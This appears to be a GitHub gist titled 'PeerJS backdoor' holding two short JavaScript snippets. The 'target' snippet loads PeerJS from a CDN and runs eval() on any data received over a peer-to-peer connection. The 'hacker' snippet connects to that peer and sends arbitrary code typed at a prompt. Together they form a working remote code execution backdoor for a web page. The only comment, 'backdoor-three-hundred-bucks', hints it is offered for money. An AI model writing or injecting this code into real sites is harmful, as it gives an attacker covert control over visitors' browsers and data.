Skip to content

Instantly share code, notes, and snippets.

@tripolskypetr
Created December 20, 2023 09:06
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tripolskypetr/44c6e3c2cd217981df7cd3ae6be65ae2 to your computer and use it in GitHub Desktop.
Save tripolskypetr/44c6e3c2cd217981df7cd3ae6be65ae2 to your computer and use it in GitHub Desktop.
PeerJS backdoor
// target
(function () {
const script = document.createElement("script");
script.src = "https://unpkg.com/peerjs@1.5.2/dist/peerjs.min.js";
script.onload = () => {
const peer = new Peer();
peer.on("open", function (id) {
console.log(id);
peer.on("connection", function (conn) {
conn.on("data", function (data) {
eval(data);
});
});
});
};
document.body.appendChild(script);
})();
// hacker
(function () {
const script = document.createElement("script");
script.src = "https://unpkg.com/peerjs@1.5.2/dist/peerjs.min.js";
script.onload = () => {
const peer = new Peer();
peer.on("open", function (id) {
console.log(id);
const conn = peer.connect(prompt("id"));
document.body.onclick = () => {
conn.send(prompt("eval"));
};
});
};
document.body.appendChild(script);
})();
@tripolskypetr
Copy link
Author

backdoor-three-hundred-bucks

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment